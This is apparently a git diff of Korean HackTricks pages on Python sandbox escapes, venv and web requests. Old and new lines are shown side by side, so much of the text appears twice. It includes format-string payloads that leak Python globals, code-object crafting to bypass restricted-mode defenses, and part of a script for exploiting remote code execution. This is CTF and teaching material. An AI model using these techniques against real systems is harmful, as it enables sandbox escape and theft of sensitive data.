또한 **Python 내부 객체에서 민감한 정보를 읽을** 가젯들을 확인하려면 다음 페이지도 확인하십시오: 다음 페이지에서도 Python 내부 객체에서 **민감한 정보를 읽는** 가젯을 확인하세요:
{% endhint %} {% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %} {% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md) [python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %} {% endcontent-ref %}
### 민감한 정보 노출 Payloads ### 민감한 정보 유출 페이로드
```python ```python
{whoami.__class__.__dict__} {whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__} {whoami.__globals__[os].__dict__}
@ -750,15 +752,15 @@ return 'HAL 9000'
# Access an element through several links # Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
``` ```
## Python 객체 해부 ## Python 객체 해부하기
{% hint style="info" %} {% hint style="info" %}
만약 **파이썬 바이트코드**에 대해 **깊이있게 학습**하고 싶다면 이 **멋진** 주제에 대한 게시물을 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) **파이썬 바이트코드**에 대해 깊이 배우고 싶다면 이 **멋진** 게시물을 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
일부 CTF에서는 **플래그**가 있는 **사용자 정의 함수의 이름**이 제공될 수 있으며, **함수**의 **내부**를 살펴보고 추출해야 할 수도 있습니다. 일부 CTF에서는 **플래그**가 있는 **사용자 정의 함수의 이름**이 제공될 수 있으며, 이를 추출하기 위해 **함수**의 **내부**를 살펴봐야 합니다.
사할 함수는 다음과 같습니다: 사할 함수는 다음과 같습니다:
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -778,7 +780,7 @@ dir(get_flag) #Get info tof the function
``` ```
#### globals #### globals
`__globals__``func_globals`(동일) 전역 환경을 획득합니다. 예제에서는 가져온 모듈, 일부 전역 변수 및 선언된 내용을 볼 수 있습니다: `__globals__``func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
```python ```python
get_flag.func_globals get_flag.func_globals
get_flag.__globals__ get_flag.__globals__
@ -787,11 +789,11 @@ get_flag.__globals__
#If you have access to some variable value #If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__ CustomClassObject.__class__.__init__.__globals__
``` ```
[**여기에서 전역 변수를 더 얻는 곳을 확인하세요**](./#globals-and-locals) [**여기에서 globals를 얻을 수 있는 더 많은 장소를 확인하세요**](./#globals-and-locals)
### **함수 코드에 액세스하기** ### **함수 코드 접근하기**
**`__code__`** 및 `func_code`: 함수의 이 **속성에 액세스**하여 함수의 코드 객체를 **얻을 수 있습니다**. **`__code__`** 및 `func_code`: **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을 수** 있습니다.
```python ```python
# In our current example # In our current example
get_flag.__code__ get_flag.__code__
@ -851,7 +853,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
``` ```
### **함수 분해** ### **함수 분해**
```python ```python
import dis import dis
dis.dis(get_flag) dis.dis(get_flag)
@ -879,7 +881,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
알림: **파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트 코드**(`get_flag.func_code.co_code`)를 얻어서 로컬에서 **분해**할 수 있습니다. 로드된 변수의 내용(`LOAD_CONST`)을 볼 수 없지만 (`get_flag.func_code.co_consts`)에서 변수를 추측할 수 있습니다. `LOAD_CONST`도 로드된 변수의 오프셋을 알려주기 때문입니다. **파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드** (`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)를 통해 추측할 수 있습니다.
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -903,8 +905,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
``` ```
## Python 컴파일 ## Python 컴파일
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프**할 수 있다고 상상해 봅시다. 그러나 여전히 그 함수를 **실행해야** 할 필요가 있습니다.\ 이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야**니다.\
다음 예제처럼, 해당 함수의 **코드 객체에 액세스할 수 있지만** disassemble을 읽는 것만으로는 **flag를 계산하는 방법을 모를 수 있습니다** (_더 복잡한 `calc_flag` 함수를 상상해보세요_) 다음 예제와 같이, 해당 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -917,9 +919,9 @@ return calc_flag("VjkuKuVjgHnci")
else: else:
return "Nope" return "Nope"
``` ```
### 코드 객체 생성 ### Creating the code object
우선, **코드 객체를 생성하고 실행하는 방법**을 알아야 합니다. 이렇게 하면 함수 leaked를 실행할 수 있는 코드 객체를 생성할 수 있습니다: 먼저, **코드 객체를 생성하고 실행하는 방법**을 알아야 합니다. 그래야 우리의 함수 leak을 실행하기 위해 하나를 생성할 수 있습니다:
```python ```python
code_type = type((lambda: None).__code__) code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this # Check the following hint if you get an error in calling this
@ -939,7 +941,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode") function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
{% hint style="info" %} {% hint style="info" %}
파이썬 버전에 따라 `code_type`의 **매개변수**가 **다른 순서**를 가질 수 있습니다. 실행 중인 파이썬 버전의 매개변수 순서를 알아내는 가장 좋은 방법은 다음을 실행하는 것입니다: 사용 중인 파이썬 버전에 따라 `code_type`의 **매개변수**는 **다른 순서**를 가질 수 있습니다. 사용 중인 파이썬 버전에서 매개변수의 순서를 아는 가장 좋은 방법은 다음을 실행하는 것입니다:
``` ```
import types import types
types.CodeType.__doc__ types.CodeType.__doc__
@ -947,10 +949,10 @@ types.CodeType.__doc__
``` ```
{% endhint %} {% endhint %}
### 누설된 함수 재현 ### 유출된 함수 재생성
{% hint style="warning" %} {% hint style="warning" %}
다음 예제에서는 함수 코드 객체에서 직접 함수를 재하는 데 필요한 모든 데이터를 가져올 것입니다. **실제 예제**에서는 함수를 실행하는 데 필요한 모든 **값**이 **누설해야 할 것**입니다. 다음 예제에서는 함수 코드 객체에서 직접 함수를 재생성하는 데 필요한 모든 데이터를 가져올 것입니다. **실제 예제**에서는 함수를 실행하는 데 필요한 모든 **값**이 **유출해야 할 것**입니다.
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -962,12 +964,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode") function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag #ThisIsTheFlag
``` ```
### 방어 우회 ### Bypass Defenses
이 게시물의 처음 예제에서 볼 수 있듯이 `compile` 함수를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이것은 **루프와 함께 전체 스크립트를 실행**할 수 있어서 흥미로운데, 이를 **한 줄로** 할 수 있습니다 (`exec`를 사용하여 동일한 작업을 수행할 수도 있음).\ 이 게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
어쨌든, 때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어, CTF에서 `compiled` 함수를 사용할 수 없는 경우). 어쨌든, 때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 봅시다: 예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
```python ```python
#Locally #Locally
def read(): def read():
@ -994,7 +996,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()) codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)() function_type(codeobj, mydict, None, None, None)()
``` ```
만약 `eval` 또는 `exec`에 접근할 수 없는 경우 **적절한 함수**를 생성할 수 있지만 직접 호출하면 일반적으로 실패할 것입니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 **제한된 환경에 없는 함수가 이 함수를 호출하도록 해야 합니다.** 만약 `eval` 또는 `exec`에 접근할 수 없다면, **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하는 것은 일반적으로 다음과 같은 오류로 실패할 것입니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 이 함수를 호출하기 위해서는 **제한된 환경에 있지 않은 함수가 필요합니다.**
```python ```python
#Compile a regular print #Compile a regular print
ftype = type(lambda: None) ftype = type(lambda: None)
@ -1002,22 +1004,22 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42) f(42)
``` ```
## 컴파일된 Python을 디컴파일하기 ## 컴파일된 파이썬 디컴파일
[**https://www.decompiler.com/**](https://www.decompiler.com)과 같은 도구를 사용하면 컴파일된 Python 코드를 **디컴파일** 할 수 있습니다. [**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하여 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
**다음 자습서를 확인하세요**: **이 튜토리얼을 확인하세요**:
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} {% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) [.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %} {% endcontent-ref %}
## 기타 Python ## 기타 파이썬
### Assert ### Assert
파이썬은 `-O` 매개변수로 최적화하여 실행하면 **debug** 값에 따라 조건부 코드와 assert 문을 제거합니다.\ `-O` 매개변수로 최적화된 상태에서 실행된 파이썬은 assert 문과 **debug** 값에 따라 조건부인 코드를 제거합니다.\
따라서, 다음과 같은 확인문은 따라서, 다음과 같은 체크들
```python ```python
def check_permission(super_user): def check_permission(super_user):
try: try:
@ -1026,7 +1028,9 @@ print("\nYou are a super user\n")
except AssertionError: except AssertionError:
print(f"\nNot a Super User!!!\n") print(f"\nNot a Super User!!!\n")
``` ```
## 참고 자료 will be bypassed
## References
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
@ -1041,16 +1045,17 @@ print(f"\nNot a Super User!!!\n")
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅이 되기까지 AWS 해킹 배우기**</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# venv # venv
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```bash ```bash
@ -42,21 +43,22 @@ inside the virtual environment
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 지금 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# 웹 요청 # 웹 요청
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Python Requests ## 파이썬 요청
```python ```python
import requests import requests
@ -90,7 +91,7 @@ return resp.json()
def get_random_string(guid, path): def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10)) return ''.join(random.choice(string.ascii_letters) for i in range(10))
``` ```
## 원격 코드 실행(RCE)를 악용하는 Python 명령어 ## Python cmd to exploit an RCE
```python ```python
import requests import requests
import re import re
@ -120,21 +121,22 @@ term.cmdloop()
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 지금 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Exploits 검색 # Search Exploits
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
